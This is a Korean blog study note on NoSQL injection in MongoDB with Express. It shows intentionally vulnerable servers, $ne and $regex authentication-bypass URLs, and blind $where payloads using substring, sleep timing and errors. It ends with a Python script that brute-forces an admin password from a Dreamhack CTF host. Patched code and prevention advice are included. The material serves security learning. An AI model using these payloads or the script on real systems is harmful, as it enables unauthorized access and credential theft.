NoSQL Injection이란?
NoSQL Injection은 SQL Injection과 비슷한 공격 방법으로, 입력값이 쿼리에 포함되면서 발생하는 문제점입니다. MongoDB의 NoSQL Injection 취약점은 주로 입력값의 타입 검증이 불충분할 때 발생합니다.
MongoDB의 데이터 타입
MongoDB는 다양한 데이터 타입을 지원합니다. 여기에는 문자열, 정수, 날짜, 실수 뿐만 아니라 오브젝트와 배열 타입도 포함됩니다. 오브젝트 타입의 입력값을 처리할 때 쿼리 연산자를 사용할 수 있으며, 이를 악용하여 다양한 행위를 수행할 수 있습니다.
예제 코드 (Figure 1)
const express = require('express');
const app = express();
app.get('/', function(req, res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function() {
console.log('app.listen');
});
이 코드는 Node.js의 Express 프레임워크로 작성된 간단한 웹 서버입니다. 클라이언트로부터 GET 요청을 받으면 req.query.data
의 값을 출력하고, 그 타입을 출력합니다.
취약점 분석
이 코드에서 중요한 점은 req.query.data
의 타입이 문자열로 제한되지 않는다는 점입니다. 따라서 클라이언트는 문자열 외에도 배열이나 오브젝트 타입의 데이터를 입력할 수 있습니다. 이는 NoSQL Injection 공격에 취약할 수 있습니다.
입력값에 따른 실행 결과 (Figure 2)
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true }
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' }
type: object
보안 문제점
이러한 코드 구조에서는 다음과 같은 보안 문제점이 발생할 수 있습니다:
- NoSQL Injection: 클라이언트가 의도적으로 오브젝트 타입의 입력값을 전달하여, 데이터베이스 쿼리 구조를 변경하거나 의도하지 않은 데이터를 조회, 삽입, 업데이트 또는 삭제할 수 있습니다.
- 타입 혼합: 입력값의 타입이 문자열, 배열, 오브젝트 등으로 혼합될 수 있어, 의도하지 않은 동작을 유발할 수 있습니다.
예방 방법
다음과 같은 방법으로 NoSQL Injection 공격을 예방할 수 있습니다:
- 입력값 검증: 클라이언트로부터 받은 모든 입력값의 타입과 형식을 엄격하게 검증해야 합니다. 예를 들어, 문자열이 예상되는 경우, 문자열 이외의 타입을 거부합니다.
- ORM/ODM 사용: Mongoose와 같은 ODM(Object Data Modeling) 라이브러리를 사용하여, 입력값을 구조화된 모델로 변환하고 검증합니다.
- Whitelist 적용: 쿼리에서 사용할 수 있는 값들을 미리 정의된 목록(whitelist)으로 제한합니다.
- 보안 모듈 사용: Express Validator와 같은 입력값 검증 모듈을 사용하여, 입력값을 검증하고, 불필요한 데이터를 제거합니다.
예제 수정
입력값을 검증하는 간단한 방법을 추가한 예제입니다:
const express = require('express');
const app = express();
app.get('/', function(req, res) {
let data = req.query.data;
// 입력값이 문자열인지 확인
if (typeof data !== 'string') {
res.status(400).send('Invalid data type');
return;
}
console.log('data:', data);
console.log('type:', typeof data);
res.send('hello world');
});
const server = app.listen(3000, function() {
console.log('app.listen');
});
이 수정된 코드에서는 req.query.data
가 문자열인지 확인하고, 문자열이 아닌 경우 에러를 반환합니다. 이를 통해 NoSQL Injection 공격을 방지할 수 있습니다.
NoSQL Injection 예제-2 (Figure 3)
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req, res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function() {
console.log('app.listen');
});
이 코드는 MongoDB와 Express를 사용하여 사용자 입력값을 통해 데이터를 조회하는 간단한 웹 서버 예제입니다. GET 요청을 받으면 req.query.uid
와 req.query.upw
값을 이용하여 MongoDB의 user
컬렉션에서 해당하는 데이터를 조회합니다.
NoSQL Injection 수행
오브젝트 타입의 값을 입력할 수 있다면, 쿼리 연산자를 사용할 수 있습니다. 예를 들어, $ne
연산자는 "not equal"을 의미하며, 입력한 데이터와 일치하지 않는 데이터를 반환합니다. 이를 통해 공격자는 계정 정보를 모르더라도 데이터를 조회할 수 있습니다.
공격 쿼리와 실행 결과 (Figure 4)
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
이 쿼리를 통해 uid
와 upw
가 "a"가 아닌 모든 데이터를 조회할 수 있습니다. 위의 실행 결과는 데이터베이스에 저장된 admin
계정의 비밀번호를 노출시킵니다.
$ne값이 같지 않은 문서 조회 ex) db.users.find({ age: { $ne: 25 } })
NoSQL Injection 실습
다음은 POST 요청을 통해 데이터를 조회하는 예제입니다. 이 예제에서는 입력한 값이 데이터베이스에 존재할 경우 해당 데이터를 출력합니다. 아래 코드를 통해 데이터베이스에 존재하는 "admin" 계정의 비밀번호를 획득해보세요.
모듈 구성 코드 (Figure 5)
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.post('/query', function(req, res) {
db.collection('user').find({
'uid': req.body.uid,
'upw': req.body.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(80, function() {
console.log('app.listen');
});
이 코드는 POST 요청을 통해 데이터를 조회하며, req.body.uid
와 req.body.upw
값을 통해 데이터를 조회합니다. 입력값에 대한 검증이 없기 때문에 동일한 방식으로 NoSQL Injection 공격이 가능합니다.
보안 문제점과 예방 방법
이러한 코드 구조에서는 다음과 같은 보안 문제점이 발생할 수 있습니다:
- NoSQL Injection: 사용자가 의도적으로 오브젝트 타입의 입력값을 전달하여, 데이터베이스 쿼리 구조를 변경하거나 의도하지 않은 데이터를 조회, 삽입, 업데이트 또는 삭제할 수 있습니다.
- 타입 혼합: 입력값의 타입이 문자열, 배열, 오브젝트 등으로 혼합될 수 있어, 의도하지 않은 동작을 유발할 수 있습니다.
예방 방법
다음과 같은 방법으로 NoSQL Injection 공격을 예방할 수 있습니다:
- 입력값 검증: 클라이언트로부터 받은 모든 입력값의 타입과 형식을 엄격하게 검증해야 합니다. 예를 들어, 문자열이 예상되는 경우, 문자열 이외의 타입을 거부합니다.
- ORM/ODM 사용: Mongoose와 같은 ODM(Object Data Modeling) 라이브러리를 사용하여, 입력값을 구조화된 모델로 변환하고 검증합니다.
- Whitelist 적용: 쿼리에서 사용할 수 있는 값들을 미리 정의된 목록(whitelist)으로 제한합니다.
- 보안 모듈 사용: Express Validator와 같은 입력값 검증 모듈을 사용하여, 입력값을 검증하고, 불필요한 데이터를 제거합니다.
수정된 예제 코드
입력값을 검증하는 간단한 방법을 추가한 예제입니다:
const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.post('/query', function(req, res) {
let uid = req.body.uid;
let upw = req.body.upw;
// 입력값이 문자열인지 확인
if (typeof uid !== 'string' || typeof upw !== 'string') {
res.status(400).send('Invalid data type');
return;
}
db.collection('user').find({
'uid': uid,
'upw': upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(80, function() {
console.log('app.listen');
});
이 수정된 코드에서는 req.body.uid
와 req.body.upw
가 문자열인지 확인하고, 문자열이 아닌 경우 에러를 반환합니다. 이를 통해 NoSQL Injection 공격을 방지할 수 있습니다.
Blind NoSQL Injection
개요
Blind NoSQL Injection은 인증 우회 이외에도 데이터베이스의 정보를 알아낼 수 있는 공격 기법입니다. 이 기법은 Blind SQL Injection과 같이 참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있습니다.
MongoDB에서는 $regex
, $where
연산자를 사용해 Blind NoSQL Injection을 할 수 있습니다.
Blind Injection의 배경
Blind Injection 공격은 응답이 참(True) 또는 거짓(False) 여부만으로 이루어진 환경에서 수행됩니다. 직접적인 에러 메시지나 데이터베이스의 데이터를 노출하지 않는 보안 설정이 있을 때 사용됩니다. 이러한 상황에서 공격자는 참/거짓 응답을 통해 데이터베이스 정보를 추출할 수 있습니다.
연산자 설명
Name | Description |
---|---|
$expr |
쿼리 언어 내에서 집계 식을 사용할 수 있습니다. |
$regex |
지정된 정규식과 일치하는 문서를 선택합니다. |
$text |
지정된 텍스트를 검색합니다. |
$where |
JavaScript 표현식을 만족하는 문서와 일치합니다. |
더 많은 연산자는 MongoDB 연산자 공식 문서를 통해 확인할 수 있습니다.
Blind NoSQL Injection
$regex
정규식을 사용해 식과 일치하는 데이터를 조회합니다. 아래는 upw
에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시입니다.
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
$where
인자로 전달한 JavaScript 표현식을 만족하는 데이터를 조회합니다. 아래 예제는 field
에서 사용할 수 없는 것을 확인할 수 있습니다.
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
Substring을 이용한 Blind NoSQL Injection
JavaScript 표현식을 입력하면, Blind SQL Injection에서 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있습니다. 아래는 upw
의 첫 글자를 비교해 데이터를 알아내는 쿼리입니다.
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
Time-based Injection (Sleep 함수 사용)
MongoDB는 sleep
함수를 제공합니다. 표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있습니다. 아래는 upw
의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep
함수를 실행하는 쿼리입니다.
이유
응답 시간 차이: 데이터베이스가 참(True)인 경우에만 지연을 발생시키도록 하여, 응답 시간의 차이를 통해 참/거짓을 판별할 수 있습니다.
비노출 환경: 에러 메시지가 노출되지 않는 경우에도 시간 지연을 통해 정보를 추출할 수 있습니다.
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
Error based Injection
Error based Injection은 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킵니다. 아래는 upw
의 첫 글자가 'g' 문자인 경우 올바르지 않은 문법인 asdf
를 실행하면서 에러가 발생하는 예제입니다.
이유
직접적인 에러 메시지: 데이터베이스가 에러 메시지를 반환하는 경우, 이 메시지를 통해 데이터베이스의 정보를 추출할 수 있습니다.
빠른 피드백: 에러가 발생했는지 여부를 즉시 알 수 있어, 빠르게 참/거짓을 판별할 수 있습니다.
예시
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
이 쿼리는 this.upw.substring(0,1)=='g'가 참일 때 asdf로 인해 에러가 발생합니다. 이를 통해 첫 글자가 'g'임을 알 수 있습니다.
결론
Blind NoSQL Injection은 데이터베이스의 정보를 알아내는 강력한 공격 기법입니다. 이러한 공격을 방지하기 위해서는 사용자 입력값을 철저히 검증하고, 쿼리에 포함되는 입력값을 안전하게 처리하는 것이 중요합니다.
+ 추가 사항 URL쿼리시 대소문자 구분 필요!
http://host3.dreamhack.games:24035/login?uid[$regex]=^adm&upw[$regex]=^d
undefined
http://host3.dreamhack.games:24035/login?uid[$regex]=^adm&upw[$regex]=^D
admin
이렇게 두가지로 애먹음.
그리고 python sql 코드 첨부
import requests
import string
# 기본 URL 설정
base_url = "http://host3.dreamhack.games:24035/login"
uid = "adm"
upw_pattern = "D.{"
# 모든 가능한 문자 (여기서는 숫자와 소문자 알파벳을 포함)
charset = string.digits + string.ascii_lowercase
"abcdefghijklmnopqrstuvwxyz0123456789"
max_length = 32 # 최대 길이
# 결과 확인을 위한 함수
def is_valid_prefix(prefix):
prefix = upw_pattern + prefix
payload = {
'uid[$regex]': f'^{uid}',
'upw[$regex]': f'^{prefix}'
}
response = requests.get(base_url, params=payload)
return "admin" in response.text
# 비밀번호 찾기
def find_password():
print("find_password")
password = ""
for _ in range(max_length):
print(_)
for char in charset:
test_password = password + char
if is_valid_prefix(test_password):
password = test_password
print(f"Found so far: {password}")
break
return password
if __name__ == "__main__":
password = find_password()
print(f"Password found: {password}")
'컴퓨터보안 > 웹서버' 카테고리의 다른 글
커맨드 인젝션 (Command Injection) (0) | 2024.05.21 |
---|---|
NoSQL Injection 기법 정리(MongoDB) (0) | 2024.05.20 |
ServerSide: SQL Injection (0) | 2024.05.16 |
SQL 문법 예시 및 정리 (0) | 2024.05.15 |
데이터베이스 정리 (0) | 2024.05.14 |